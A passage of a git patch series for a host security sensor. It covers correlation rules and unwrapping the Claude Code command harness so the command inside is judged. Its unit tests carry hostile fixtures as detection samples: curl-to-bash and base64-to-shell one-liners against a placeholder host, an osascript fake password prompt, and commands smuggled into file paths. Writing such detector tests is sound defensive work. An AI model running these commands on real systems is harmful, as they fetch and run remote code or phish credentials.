os.path.basename(str(value)) in _INTERPRETERS + + +def _join_entities(f): + """`_entities(f)` minus every interpreter -- what a CHAIN may join on. + + `_entities()` keeps interpreters out of the secondary identities only; its + primary is returned unconditionally, because display, dedup and path + lineage all read it as the finding's own object. A chain cannot: live + incident #538 joined an OS update that replaced /bin/bash (primary + `/bin/bash`, custody os-vendor) to a harness command bash ran (primary + `/bin/bash`) into "Persistence followed by execution" -- the exact join + `_entities()` says must never happen, reached through the one side it did + not guard. #517 was the same hash under `chain:clickfix`. Excluded here + from BOTH sides, primary or not, so every chain rule inherits it; the + payload an interpreter runs is still carried as `script_target` and still + joins.""" + return [v for v in _entities(f) if not _is_shared_interpreter(v)] + + def _shared_entity(a, b): """The identity two findings have in common, or None. Returns the value as the finding REPORTED it (not the comparison form) so callers keep deriving - correlation keys exactly as they did when only the primary entity joined.""" - eb = {_canon_entity_key(v) for v in _entities(b)} - for v in _entities(a): + correlation keys exactly as they did when only the primary entity joined. + Never an interpreter, from either side: see `_join_entities`.""" + eb = {_canon_entity_key(v) for v in _join_entities(b)} + for v in _join_entities(a): if _canon_entity_key(v) in eb: return v return None @@ -5090,6 +5115,24 @@ def _chain_severity(leg_pairs, attack_defined=False): return best +def _custody_explained(f): + """True when custody has already explained where this finding came from: + its rung is in the self tier (the operator authored it) or the vouched + tier (an OS update, a package receipt, a same-publisher re-sign). + + Such a finding cannot TRIGGER a chain -- see `_apply_correlations`. It may + still be the other leg of one an unexplained finding triggers, and + attack-defined evidence is never explained, the same refusal `_demote()` + makes: knowing who wrote a payload is not a reason to stop calling it one. + Weak rungs (`build-output`, `worktree`, ...) explain nothing here; they + only ever buy one step of demotion. The sensors carry the rung as + `custody`; the agent-surface diff calls it `provenance`.""" + if f.get("attack_defined"): + return False + rung = f.get("custody") or f.get("provenance") or "" + return rung in _SELF_CUSTODY + _VOUCHED_CUSTODY + + def _apply_correlations(db, new_events, now, initially_notified=False, suppressed_categories=frozenset(), routing=None): """Run a deliberately tiny set of high-precision, versioned chain rules.""" @@ -5130,6 +5173,15 @@ def _apply_correlations(db, new_events, now, initially_notified=False, new_ids = {event_id for event_id, f in new_events if f.get("category") not in suppressed_categories and event_id not in quieted} + # Provenance, by the same pattern: a finding custody has already explained + # leaves the TRIGGER set and stays in `observations`, so it can still be + # the other leg of a chain an unexplained finding triggers. #538's left + # leg was an OS update custody had graded os-vendor, LOW, in its own + # detail. A set of its own rather than a narrower `new_ids`: the risk + # tier reads `new_ids` too, and already weights these rungs itself + # (_RISK_CUSTODY_WEIGHT). + chain_triggers = {event_id for event_id, f in new_events + if event_id in new_ids and not _custody_explained(f)} attached = set() # (entity_key, incident_id, evidence_ids) for every chain raised this scan, # so overlapping rules can be reconciled once they have all run. See @@ -5142,7 +5194,7 @@ def correlate(base_key, title, left_pred, right_pred, window=900, legs_by_entity = {} for left_id, right_id, left, right in _correlation_pairs( observations, left_pred, right_pred, window): - if left_id in new_ids or right_id in new_ids: + if left_id in chain_triggers or right_id in chain_triggers: entity = _canon_entity_path(_shared_entity(left, right)) entity_key = hashlib.sha256( entity.encode("utf-8", "replace")).hexdigest()[:16] @@ -6312,6 +6364,86 @@ def _retire_orphaned_behavior_incidents(db, now): return len(aged) +def _unjoinable_chain_resolution(entity_key, legs): + """The superseded resolution for a chain keyed on `entity_key` that the + current join rules would not form from `legs`, or None when they still + would -- or when this cannot tell which entity the chain joined on.""" + def keyed(value): + return hashlib.sha256(_canon_entity_path(value).encode( + "utf-8", "replace")).hexdigest()[:16] == entity_key + joined = next((v for f in legs for v in _entities(f) if keyed(v)), None) + if joined is None: + return None + if _is_shared_interpreter(joined): + return ("superseded: a chain cannot join on an interpreter (%s) — " + "reopens on new evidence" % joined) + holders = [f for f in legs if any(keyed(v) for v in _join_entities(f))] + if len(holders) < 2 or not all(_custody_explained(f) for f in holders): + return None + rungs = sorted({str(f.get("custody") or f.get("provenance")) + for f in holders}) + return ("superseded: every leg of this chain is provenance-explained " + "(custody %s), and a chain needs a leg custody cannot explain — " + "reopens on new evidence" % ", ".join(rungs)) + + +def _retire_unjoinable_chain_incidents(db, now): + """One-time: close the chain incidents the 2026-09-23 join rules would not + have formed. + + Two rules shipped together in the correlation tier: an interpreter is + never the shared entity of a chain (`_join_entities`), and a finding + custody has explained cannot trigger one (`_custody_explained`). Both are + forward-only, and a chain is an event, not a state: an incident they would + have prevented -- #538, an OS update joined to a harness command on + /bin/bash -- receives no evidence that could re-grade it, so it could only + wait out the age-out clock. + + Judged on the incident's own EVIDENCE, the way the forward rules judge a + pair. The entity the chain was keyed on is recovered by hashing each leg's + identities as correlate() does; an interpreter there is rule 1. Otherwise + the chain stands while two legs hold that entity and at least one of them + is unexplained -- the forward code would form it again, the explained leg + as its other leg -- and only a chain whose every leg on it is explained is + rule 2. An entity no leg reproduces is left alone: a chain this cannot + re-derive is not one it may retire. + + Path lineage (`chain:lineage:`) is out of scope: it joins a remembered + drop, not a co-occurrence, and neither rule changed it. Incidents created + in the scan that runs the migration are out of scope by construction. + Closed as SUPERSEDED with evidence intact, as the other identity + migrations are, and no dismissals row is written. + """ + retired = 0 + for row in db.execute( + "SELECT id, correlation_key FROM incidents WHERE " + "kind='correlation' AND status IN ('OPEN','ACK') AND " + "correlation_key LIKE 'chain:%' AND " + "correlation_key NOT LIKE 'chain:lineage:%' AND created_at Date: Wed, 23 Sep 2026 09:06:30 -0700 Subject: [PATCH 05/27] Every command Claude Code runs arrives as eval '', so the sensor was judging the harness instead of the command Incident #538 (2026-09-23): a `while true; do s=$(gh pr checks 52 ...)` poll loop fired eval-subshell. Claude Code runs every agent command as one `bash -c` string: /bin/bash -c source ~/.claude/shell-snapshots/snapshot-bash-.sh 2>/dev/null || true && shopt -u extglob 2>/dev/null || true && { \builtin unalias -- 'unsetenv'; ... } >/dev/null 2>&1 || true && eval '' < /dev/null && pwd -P >| /tmp/claude--cwd eval-subshell is `eval ... $(`, so any with a command substitution matched on the harness's own eval. The same eval was also the exec half of a combination: a value capture `v=$(curl -s https://...)` scored cmdsub-fetch-exec + network-fetch = fileless-fetch-exec at HIGH, where the same line typed at a prompt is a MEDIUM fetch. On this Mac right now, main scores eval-subshell on 2 of 8 live harness processes; this branch unwraps 9 of 9 and scores none. _agent_harness_payload() recognises the wrapper against a fixed grammar (the shell, the snapshot source clause, the optional shopt and unalias clauses, `eval '...'`, the `< /dev/null && pwd -P >| .../claude--cwd` epilogue) and returns the unquoted payload (`'"'"'` and `'\''` decoded). Free fields (snapshot path, cwd file, unalias name) admit no shell metacharacter, so a `;curl${IFS}...` smuggled into one is not the harness, and neither is any text before the eval or after the epilogue: those argv are judged whole, as before. Unwrapping runs to a fixed point so every helper sees the same text. The payload is judged with the full ruleset, unchanged: `curl | bash` still fileless-fetch-exec HIGH, `base64 -d | sh` still fires, an osascript password phish still CRITICAL, and an eval the agent itself runs (`eval "$(curl ...)"`) still eval-subshell. An unwrapped `bash -c 'eval "$(curl -s http://x)"'` scores exactly as on main. Wired into _argv_signals, _argv_match_spans, _argv_evidence_preview (the preview shows the payload) and _argv_case_identity (the case is the payload, which also drops the per-command cwd-file nonce the old key kept). check_behavior records `wrapper: claude-code-snapshot` on the finding and in its detail. The signal fingerprint and command_sha256 stay on the exact argv. Only the Claude Code shape exists in the recorded corpus (both prologue variants are covered). Codex runs `bash -lc ` with no eval to unwrap; no Hermes argv is on record, and no double-quoted eval appears. Tests: tests/test_behavior_harness_wrapper.py (31). Co-Authored-By: Claude Opus 5.5 (1M context) --- aegis.py | 139 ++++++++++- tests/test_behavior_harness_wrapper.py | 328 +++++++++++++++++++++++++ 2 files changed, 461 insertions(+), 6 deletions(-) create mode 100644 tests/test_behavior_harness_wrapper.py diff --git a/aegis.py b/aegis.py index d82a8a2..c629c81 100755 --- a/aegis.py +++ b/aegis.py @@ -8719,11 +8719,119 @@ def _obfuscated_payload_signals(argv, idioms): return out +# The agent harness's own command wrapper. Claude Code runs every command the +# agent issues as ONE `-c` string (live `ps`, reference Mac, 2026-09-23): +# +# /bin/bash -c source ~/.claude/shell-snapshots/snapshot-bash-.sh +# 2>/dev/null || true && shopt -u extglob 2>/dev/null || true && +# { \builtin unalias -- 'unsetenv'; \builtin unset -f -- 'unsetenv'; } +# >/dev/null 2>&1 || true && eval '' < /dev/null && +# pwd -P >| /tmp/claude--cwd +# +# `eval-subshell` is `eval … $(`, so ANY with a command substitution +# matched on the harness's `eval` (incident #538: a `while … s=$(gh pr checks +# …)` poll loop), and that same `eval` was the exec half that turned a benign +# value capture `v=$(curl -s https://…)` into fileless-fetch-exec at HIGH. +# The sensor was judging the harness, not the command. +# +# So the wrapper is unwrapped and is judged — with the full ruleset, +# exactly as the same line typed at a prompt. This is NOT trust of agent +# hosts: a prompt-injected agent running `curl | bash` is what the sensor +# exists for, and it still fires. What makes it safe is that the wrapper is +# matched against a FIXED grammar: every character outside the payload must +# be one of these clauses, with no shell metacharacter in any free field (a +# snapshot path or cwd file that could carry `;curl${IFS}…` never matches). +# Anything the harness does not write means it is not the harness, and the +# whole argv is judged as before. Only the shapes in the recorded corpus are +# known: the Claude Code prologue with and without the unalias clause. Codex +# runs `bash -lc ` with no eval to unwrap; no Hermes argv is on record. +_HARNESS_SHELL_RE = re.compile(r"(?:[\w./+-]*/)?(?:bash|zsh|sh) -c ") +_HARNESS_SNAPSHOT_RE = re.compile( + r"source [\w./+-]*/shell-snapshots/snapshot-(?:bash|zsh|sh)-[\w-]+\.sh" + r" 2>/dev/null \|\| true && ") +_HARNESS_OPTIONAL_CLAUSE_RES = ( + re.compile(r"shopt -u extglob 2>/dev/null \|\| true && "), + re.compile(r"\{ \\builtin unalias -- '[\w.:-]+'; \\builtin unset -f -- " + r"'[\w.:-]+'; \} >/dev/null(?: 2>&1)?(?: \|\| true)? && "), +) +_HARNESS_EPILOGUE_RE = re.compile( + r"(?: < /dev/null)?(?: && pwd -P >\| [\w./+-]*/claude-[0-9a-f]+-cwd)?\s*") +_HARNESS_WRAPPER = "claude-code-snapshot" + + +def _shell_single_quoted(text, i): + """(value, end) of the shell word at text[i] built from single-quoted runs + joined by the two escapes a quoter emits for an embedded quote — `'"'"'` + (Claude Code) and `'\\''` — or None when a run never closes. The word ends + at the first character that is neither; the caller decides whether what + follows is allowed.""" + out = [] + n = len(text) + while i < n and text[i] == "'": + j = text.find("'", i + 1) + if j < 0: + return None + out.append(text[i + 1:j]) + i = j + 1 + if text.startswith("\"'\"", i): + out.append("'") + i += 3 + elif text.startswith("\\'", i): + out.append("'") + i += 2 + return "".join(out), i + + +def _unwrap_agent_harness(argv): + """ when argv is exactly the Claude Code wrapper around it, else + None. One layer; see _agent_harness_payload.""" + m = _HARNESS_SHELL_RE.match(argv) + if not m: + return None + m = _HARNESS_SNAPSHOT_RE.match(argv, m.end()) + if not m: + return None + pos = m.end() + for rx in _HARNESS_OPTIONAL_CLAUSE_RES: + m = rx.match(argv, pos) + while m: + pos = m.end() + m = rx.match(argv, pos) + if not argv.startswith("eval '", pos): + return None + word = _shell_single_quoted(argv, pos + len("eval ")) + if word is None or not _HARNESS_EPILOGUE_RE.fullmatch(argv, word[1]): + return None + return word[0] + + +def _agent_harness_payload(argv): + """(text to judge, wrapper name or None). + + Unwrapped to a fixed point, so every helper that judges or displays an + argv — _argv_signals, _argv_match_spans, _argv_evidence_preview, + _argv_case_identity — sees the same text whichever of them runs first, + even for a payload that is itself a harness line. Terminates: each layer + is strictly shorter than the one around it.""" + if not argv or "shell-snapshots/snapshot-" not in argv: + return argv, None + wrapper = None + while True: + payload = _unwrap_agent_harness(argv) + if payload is None: + return argv, wrapper + argv, wrapper = payload, _HARNESS_WRAPPER + + def _argv_signals(argv): """Return [(name, severity)] for hostile patterns in a live process's argv (empty = clean). Structural signals keep their assigned severity; the shared shell idioms notify (HIGH) only as a fetch+exec COMBINATION, else stay MEDIUM; - anti-VM gates are MEDIUM corroborators below the notify floor.""" + anti-VM gates are MEDIUM corroborators below the notify floor. + + An agent-harness wrapper is unwrapped first and the command inside it is + what gets judged (_agent_harness_payload).""" + argv = _agent_harness_payload(argv)[0] if not argv: return [] best = {} @@ -8778,7 +8886,11 @@ def _argv_match_spans(argv): Re-runs the same regexes `_argv_signals` ran and keeps the spans it throws away. Deliberately a second pass rather than a changed return contract: this runs only for an argv that ALREADY matched — a rare path — while - `_argv_signals` is called for every watched process on the box.""" + `_argv_signals` is called for every watched process on the box. + + Same text `_argv_signals` judged, so for a harness-wrapped argv the spans + index the unwrapped payload (_agent_harness_payload), not the argv.""" + argv = _agent_harness_payload(argv)[0] or "" spans = [] for rx, _name, _sev in _HOSTILE_ARGV_RES: m = rx.search(argv) @@ -8829,8 +8941,13 @@ def _argv_case_identity(argv, length=16): acquired tolerance needs, and the same command shape opened a fresh HIGH incident forever — #450 and #503 are the same finding twice, minted eight days apart under two nonces. + + A harness-wrapped argv is keyed on the command inside the wrapper + (_agent_harness_payload), so a verdict attaches to what ran — the + wrapper also carries a per-command cwd-file nonce the rules above do not + name, which made every wrapped command its own case. """ - flat = argv or "" + flat = _agent_harness_payload(argv)[0] or "" for rx, repl in _ARGV_NONCE_RES: flat = rx.sub(repl, flat) flat = _program_subject(flat) @@ -8857,7 +8974,11 @@ def _argv_evidence_preview(argv, budget=_ARGV_PREVIEW_BUDGET): the rule it already followed — only the hostile verdict and the evidence that earned it are written, and everything still passes through `redact_sensitive` first. + + A harness-wrapped argv previews the command inside the wrapper — what + was judged, and what ran; the finding names the wrapper separately. """ + argv = _agent_harness_payload(argv)[0] flat = re.sub(r"\s+", " ", argv or "").strip() if not flat: return "" @@ -8963,16 +9084,22 @@ def check_behavior(): # its command line the same way. The fingerprint stays on the hash so # identity does not move when the redaction regexes do. preview = _argv_evidence_preview(argv) + # A harness-wrapped command is judged, previewed and keyed on the + # command inside the wrapper; the wrapper itself is not evidence, but + # the fact that it was there is, so the operator is told. + wrapper = _agent_harness_payload(argv)[1] + extra = {"wrapper": wrapper} if wrapper else {} findings.append(finding( top, "behavior", "Suspicious process behavior", - "%s triggered [%s]; command sha256=%s; command: %s" % - (base, names, command_sha[:16], preview), + "%s triggered [%s]; command sha256=%s; %scommand: %s" % + (base, names, command_sha[:16], + "wrapper: %s; " % wrapper if wrapper else "", preview), fp, case_fingerprint="behavior:%s:%s:%s" % ( base, "|".join(sorted(n for n, _ in signals)), _argv_case_identity(argv)), program=argv.split(None, 1)[0] if argv else "", pid=pid, markers=[n for n, _ in signals], command_sha256=command_sha, - command_preview=preview)) + command_preview=preview, **extra)) _annotate_ancestry(findings) return findings diff --git a/tests/test_behavior_harness_wrapper.py b/tests/test_behavior_harness_wrapper.py new file mode 100644 index 0000000..4a7867c --- /dev/null +++ b/tests/test_behavior_harness_wrapper.py @@ -0,0 +1,328 @@ +#!/usr/bin/env python3 +"""The agent harness's own `eval` is not an idiom; the command inside it is. + +Measured 2026-09-23, incident #538 on the reference Mac. Claude Code runs +every command the agent issues as ONE `bash -c` string: + + /bin/bash -c source ~/.claude/shell-snapshots/snapshot-bash-.sh + 2>/dev/null || true && shopt -u extglob 2>/dev/null || true && + { \\builtin unalias -- 'unsetenv'; … } >/dev/null 2>&1 || true && + eval '' < /dev/null && pwd -P >| /tmp/claude--cwd + +`eval-subshell` is `\\beval\\b … \\$\\(`, so ANY containing a command +substitution matched it — a `while … s=$(gh pr checks 52 …)` poll loop opened +#538. Worse, the harness `eval` was the exec half of a combination: a benign +VALUE capture `v=$(curl -s https://api/x)` read as `cmdsub-fetch-exec` plus +`network-fetch`, i.e. `fileless-fetch-exec` at HIGH, for a command that run +directly scores MEDIUM. The sensor was judging the harness, not the command. + +The fix unwraps the harness shape — matched against a fixed grammar, so no +text outside the payload escapes judgement — and judges with the full +ruleset, unchanged. This is not trust of agent hosts: a prompt-injected agent +running `curl | bash` is exactly what the sensor exists for, and it still +fires at the severity the same line earns typed at a prompt. +""" +import hashlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +import aegis # noqa: E402 + +# The real prologue, copied from a live `ps -axo pid=,args=` on the +# reference Mac (2026-09-23), home directory anonymised. The eval payload +# follows `eval `. +PROLOGUE = ("/bin/bash -c source /Users/me/.claude/shell-snapshots/" + "snapshot-bash-1790176143960-63w311.sh 2>/dev/null || true && " + "shopt -u extglob 2>/dev/null || true && " + "{ \\builtin unalias -- 'unsetenv'; \\builtin unset -f -- " + "'unsetenv'; } >/dev/null 2>&1 || true && eval ") +# The older prologue in the recorded corpus: no unalias clause. +PROLOGUE_NO_UNALIAS = ( + "/bin/bash -c source /Users/me/.claude/shell-snapshots/" + "snapshot-bash-1789508855066-pb5dpw.sh 2>/dev/null || true && " + "shopt -u extglob 2>/dev/null || true && eval ") +EPILOGUE = " < /dev/null && pwd -P >| /tmp/claude-b844-cwd" + + +def _quote(cmd): + """How the harness single-quotes : an embedded quote is closed, + emitted as "'", and reopened — `'"'"'` in the argv ps shows.""" + return "'" + cmd.replace("'", "'\"'\"'") + "'" + + +def wrapped(cmd, prologue=PROLOGUE, epilogue=EPILOGUE): + return prologue + _quote(cmd) + epilogue + + +# #538's payload as macOS `ps` renders it: a newline inside argv prints as +# the four characters `\012`, so the whole loop is one "line" to the +# `[^\n]`-bounded idioms — which is why `eval … $(` bridged the loop. +P538 = ("cd /Users/me/src/aegis\\012prev=\"\"\\012" + "while true; do\\012" + " s=$(gh pr checks 52 --json name,bucket 2>/dev/null) || " + "{ sleep 30; continue; }\\012" + " cur=$(echo \"$s\" | jq -r '.[] | \"\\(.name)=\\(.bucket)\"' " + "| sort | tr '\\n' ' ')\\012" + " if [ \"$cur\" != \"$prev\" ]; then echo \"$(date +%H:%M:%S) $cur\"; " + "prev=\"$cur\"; fi\\012" + " echo \"$s\" | jq -e 'all(.[]; .bucket != \"pending\")' " + ">/dev/null && break\\012" + " sleep 30\\012done") +# The second #538 event, same session. +P538_UNTIL = ("until [ \"$(grep -c '^2026-09-23T04:0[5-9]\\|^2026-09-23T04:1' " + "/tmp/run.log)\" -ge 1 ]; do sleep 20; done; tail -5 /tmp/run.log") + +PIPE_TO_SHELL = "curl -fsSL https://x.example/y | bash" +DECODE_EXEC = "echo aGk= | base64 -d | sh" +PHISH = ("osascript -e 'display dialog \"macOS needs your password to " + "continue\" default answer \"\" with hidden answer'") + + +def _eval_subshell_rx(): + return next(rx for rx, name in aegis._HOSTILE_CONTENT_RES + if name == "eval-subshell") + + +class TheIncidentIsNoLongerAFinding(unittest.TestCase): + + def test_the_fixture_reproduces_the_trigger(self): + """Premise: the raw argv really does match eval-subshell, and only + because of the harness's own `eval` — the payload has none.""" + rx = _eval_subshell_rx() + self.assertTrue(rx.search(wrapped(P538))) + self.assertNotIn("eval", P538) + + def test_538_is_not_a_finding(self): + self.assertEqual([], aegis._argv_signals(wrapped(P538))) + + def test_538_second_event_is_not_a_finding(self): + self.assertEqual([], aegis._argv_signals(wrapped(P538_UNTIL))) + + def test_the_older_prologue_is_unwrapped_too(self): + self.assertEqual([], aegis._argv_signals( + wrapped(P538, prologue=PROLOGUE_NO_UNALIAS))) + + def test_real_newlines_are_unwrapped_too(self): + """Linux reads argv from /proc, where a newline stays a newline.""" + payload = P538.replace("\\012", "\n") + self.assertEqual([], aegis._argv_signals(wrapped(payload))) + + def test_a_value_capture_scores_as_if_run_directly(self): + """The harness `eval` was the exec half of a HIGH combination on a + command that, typed at a prompt, is a MEDIUM fetch.""" + cmd = "v=$(curl -s https://api.example/x); echo \"$v\"" + got = aegis._argv_signals(wrapped(cmd)) + self.assertEqual(aegis._argv_signals(cmd), got) + self.assertNotIn("fileless-fetch-exec", dict(got)) + self.assertNotIn("eval-subshell", dict(got)) + + +class AHostilePayloadStillFires(unittest.TestCase): + """Origin is not innocence: the payload is judged with the full + ruleset, exactly as the same line is judged typed at a prompt (the + shell-history sensor scores that line with this same oracle).""" + + def assertJudgedAsIfDirect(self, cmd): + got = aegis._argv_signals(wrapped(cmd)) + self.assertEqual(aegis._argv_signals(cmd), got) + self.assertTrue(got, "a hostile payload must produce a finding") + return dict(got) + + def test_pipe_to_shell(self): + sig = self.assertJudgedAsIfDirect(PIPE_TO_SHELL) + self.assertEqual("HIGH", sig["fileless-fetch-exec"]) + self.assertEqual("MEDIUM", sig["pipe-to-shell"]) + self.assertEqual("MEDIUM", sig["network-fetch"]) + + def test_base64_decode_into_a_shell(self): + sig = self.assertJudgedAsIfDirect(DECODE_EXEC) + self.assertIn("base64-decode", sig) + self.assertIn("pipe-to-shell", sig) + + def test_a_password_phish_is_still_critical(self): + sig = self.assertJudgedAsIfDirect(PHISH) + self.assertEqual("CRITICAL", sig["osascript-password-phish"]) + + def test_the_payloads_own_eval_subshell_still_fires(self): + """Only the HARNESS's eval stops counting — an eval the agent + itself runs is the payload, and is judged.""" + cmd = 'eval "$(curl -s http://x.example/p)"' + sig = self.assertJudgedAsIfDirect(cmd) + self.assertEqual("MEDIUM", sig["eval-subshell"]) + self.assertEqual("HIGH", sig["fileless-fetch-exec"]) + + def test_a_hostile_payload_in_the_older_prologue(self): + got = dict(aegis._argv_signals( + wrapped(PIPE_TO_SHELL, prologue=PROLOGUE_NO_UNALIAS))) + self.assertEqual("HIGH", got["fileless-fetch-exec"]) + + +class AnUnwrappedEvalIsUnchanged(unittest.TestCase): + + def test_eval_of_a_fetch_without_the_prologue(self): + """`bash -c 'eval "$(curl -s http://x)"'` exactly as before the fix + (values recorded on main at 49e38b3).""" + self.assertEqual( + [("cmdsub-fetch-exec", "MEDIUM"), ("eval-subshell", "MEDIUM"), + ("fileless-fetch-exec", "HIGH"), ("network-fetch", "MEDIUM")], + aegis._argv_signals('/bin/bash -c eval "$(curl -s http://x)"')) + + def test_a_non_harness_argv_is_returned_as_is(self): + argv = '/bin/bash -c eval "$(curl -s http://x)"' + self.assertEqual((argv, None), aegis._agent_harness_payload(argv)) + + +class APrologueWithNoPayload(unittest.TestCase): + + def test_no_eval_at_all(self): + argv = PROLOGUE[:-len("eval ")].rstrip(" &") + self.assertEqual([], aegis._argv_signals(argv)) + self.assertIsNone(aegis._agent_harness_payload(argv)[1]) + + def test_an_empty_eval(self): + argv = PROLOGUE + "''" + EPILOGUE + self.assertEqual(("", "claude-code-snapshot"), + aegis._agent_harness_payload(argv)) + self.assertEqual([], aegis._argv_signals(argv)) + + def test_an_unterminated_quote_is_not_unwrapped(self): + argv = PROLOGUE + "'ls -la" + self.assertIsNone(aegis._agent_harness_payload(argv)[1]) + self.assertEqual([], aegis._argv_signals(argv)) + + def test_empty_and_none(self): + self.assertEqual(("", None), aegis._agent_harness_payload("")) + self.assertEqual((None, None), aegis._agent_harness_payload(None)) + + +class NothingOutsideThePayloadEscapesJudgement(unittest.TestCase): + """The wrapper is recognised against a fixed grammar. Text the harness + does not write — smuggled before the eval, after it, or into a path — + means it is not the harness, and the whole argv is judged as today.""" + + def _assert_not_unwrapped_and_fires(self, argv): + self.assertIsNone(aegis._agent_harness_payload(argv)[1], argv) + self.assertIn("fileless-fetch-exec", dict(aegis._argv_signals(argv))) + + def test_a_command_smuggled_into_the_prologue(self): + argv = (PROLOGUE[:-len("eval ")] + PIPE_TO_SHELL + " && eval " + + _quote("ls") + EPILOGUE) + self._assert_not_unwrapped_and_fires(argv) + + def test_a_command_smuggled_after_the_payload(self): + argv = wrapped("ls", epilogue=EPILOGUE + "; " + PIPE_TO_SHELL) + self._assert_not_unwrapped_and_fires(argv) + + def test_a_command_smuggled_between_quote_runs(self): + argv = (PROLOGUE + "'ls'$(curl -fsSL https://x.example/y | bash)''" + + EPILOGUE) + self._assert_not_unwrapped_and_fires(argv) + + def test_a_command_smuggled_into_the_snapshot_path(self): + argv = wrapped("ls").replace( + "/Users/me/.claude/shell-snapshots", + "/x;curl${IFS}https://x.example/y|bash;/shell-snapshots") + self.assertIsNone(aegis._agent_harness_payload(argv)[1]) + + def test_a_command_smuggled_into_the_cwd_target(self): + argv = wrapped("ls", epilogue=( + " < /dev/null && pwd -P >| /tmp/x;curl${IFS}https://x.example/y|bash")) + self.assertIsNone(aegis._agent_harness_payload(argv)[1]) + + +class ThePayloadIsWhatGetsJudgedAndShown(unittest.TestCase): + + def test_unwrap_returns_the_unquoted_payload(self): + cmd = "grep -c 'a b' f && echo \"it's\" && echo 'x'\\''y'" + self.assertEqual((cmd, "claude-code-snapshot"), + aegis._agent_harness_payload(wrapped(cmd))) + + def test_the_backslash_quote_escape_is_understood(self): + argv = PROLOGUE + "'echo it'\\''s'" + EPILOGUE + self.assertEqual(("echo it's", "claude-code-snapshot"), + aegis._agent_harness_payload(argv)) + + def test_unwrapping_is_idempotent(self): + """A payload that is itself a harness line (an agent re-running one) + unwraps to the same command whichever helper sees it first.""" + inner = wrapped(PIPE_TO_SHELL) + outer = wrapped(inner) + self.assertEqual((PIPE_TO_SHELL, "claude-code-snapshot"), + aegis._agent_harness_payload(outer)) + + def test_the_case_is_the_payload_not_the_session(self): + """Two sessions (snapshot nonce, cwd-file nonce) running the same + command are one case, and it is the command's case.""" + a = wrapped(PIPE_TO_SHELL) + b = wrapped(PIPE_TO_SHELL, epilogue=" < /dev/null && pwd -P >| " + "/tmp/claude-5a24-cwd").replace( + "1790176143960-63w311", "1789508855066-pb5dpw") + self.assertNotEqual(a, b) + self.assertEqual(aegis._argv_case_identity(a), + aegis._argv_case_identity(b)) + self.assertEqual(aegis._argv_case_identity(PIPE_TO_SHELL), + aegis._argv_case_identity(a)) + self.assertNotEqual(aegis._argv_case_identity(a), + aegis._argv_case_identity(wrapped(DECODE_EXEC))) + + def test_the_preview_shows_the_payload(self): + out = aegis._argv_evidence_preview(wrapped(PIPE_TO_SHELL)) + self.assertTrue(out.startswith("curl -fsSL"), out) + self.assertNotIn("shell-snapshots", out) + self.assertLessEqual(len(out), aegis._ARGV_PREVIEW_BUDGET) + + def test_match_spans_index_the_payload(self): + payload = "ls; " + PIPE_TO_SHELL + spans = aegis._argv_match_spans(wrapped(payload)) + self.assertTrue(spans) + self.assertTrue(all(0 <= a < b <= len(payload) for a, b in spans)) + + +class TheSensorCarriesTheWrapperFact(unittest.TestCase): + OWN = "501" + + def setUp(self): + self._saved = (aegis._iter_processes, aegis._own_owner, + aegis._process_ancestry_table) + aegis._own_owner = lambda: self.OWN + aegis._process_ancestry_table = lambda: {} + + def tearDown(self): + (aegis._iter_processes, aegis._own_owner, + aegis._process_ancestry_table) = self._saved + + def _run(self, argv): + aegis._iter_processes = lambda: iter( + [("4242", self.OWN, "/bin/bash", argv)]) + return aegis.check_behavior() + + def test_538_opens_nothing(self): + self.assertEqual([], self._run(wrapped(P538))) + + def test_a_hostile_payload_is_one_finding_with_the_wrapper(self): + argv = wrapped(PIPE_TO_SHELL) + got = self._run(argv) + self.assertEqual(1, len(got)) + f = got[0] + self.assertEqual("HIGH", f["severity"]) + self.assertEqual("claude-code-snapshot", f["wrapper"]) + self.assertIn("fileless-fetch-exec", f["markers"]) + self.assertIn("wrapper: claude-code-snapshot", f["detail"]) + self.assertTrue(f["command_preview"].startswith("curl -fsSL")) + # Identity does not move: the alert key is still the exact argv. + sha = hashlib.sha256(argv.encode()).hexdigest() + self.assertEqual(sha, f["command_sha256"]) + self.assertTrue(f["fingerprint"].endswith(":" + sha[:16])) + self.assertTrue(f["case_fingerprint"].endswith( + ":" + aegis._argv_case_identity(PIPE_TO_SHELL))) + + def test_a_direct_command_carries_no_wrapper(self): + got = self._run("/bin/bash -c " + PIPE_TO_SHELL) + self.assertEqual(1, len(got)) + self.assertNotIn("wrapper", got[0]) + + +if __name__ == "__main__": + unittest.main() From 42360c708a66aba340987c66bdef04eee3a2bd90 Mon Sep 17 00:00:00 2001 From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com> Date: Wed, 23 Sep 2026 09:09:37 -0700 Subject: [PATCH 06/27] Every fix was measured by silence: backtest replay scores the current code against the operator's own noise labels Six false-alarm batches were each judged by the queue getting shorter, which is also what broken detection looks like. The store already held the answer key: every recorded finding, and every incident the operator closed as noise. `aegis.py backtest replay [--days N] [--reobserve]` re-runs the first through the CURRENT pipeline and scores it against the second. - Opens the live store read-only (mode=ro, one read transaction) and never calls _event_connection, which creates, migrates and chmods. - Groups the recorded observation.finding events into scans by observed_at: no writer has ever set events.scan_id. - Routes each batch with route_findings over the live suppression memory (learning period forced OFF) and a replay-local seen ledger kept the way emit() keeps it; records it through the scan's own fold; runs _apply_correlations (chains, lineage, risk, incidents) in a :memory: store. The live per-category dismissal weights ride in for risk accumulation; _custody_remember is a no-op for the run. - Reports per-category interrupts, the open cases, every FALSE_POSITIVE incident (any resolution) whose evidence opens an interrupt again, by id with title and path ("noise re-opened: N of M"), and open cases with no noise-labelled evidence ("new interrupts from corpus: K"). - Runs the 21 assay lanes, captures the findings their detectors build and routes them through the same gate ("assay recall: X/21"). Predicate-only lanes and quarantine-roundtrip (writes live state) are named, not skipped. - --reobserve re-asks classify_signature and _grade_binary about every process / listener / beacon / outbound subject still on disk and re-derives the severity from that sensor's own gate, so a classifier or ladder fix is scoreable. - Rule 17: loaded rows, batching, the noise set (vs a direct join query), routes and assay rows are asserted against the store; a failure prints at the top and exits 1. Deliberately not run: the scan-tail closers. They key on what a scan re-asserted, and the event log holds only what the live fold recorded. Two supporting changes, behaviour unchanged for the scan: - record_security_state's record-and-fold loop is now _record_finding_events, shared with the replay. The fold query selects the incident id instead of 1 so the replay can attribute a folded finding to the case that absorbed it. - route_findings takes an optional seen= ledger (default: SEEN, as before). Baseline on the reference Mac (main 49e38b3 plus this change, last 30 days, 62,604 findings in 2,347 scans, 213 noise-labelled incidents): plain: noise re-opened 170 of 213, new interrupts from corpus 12 --reobserve: noise re-opened 135 of 213, new 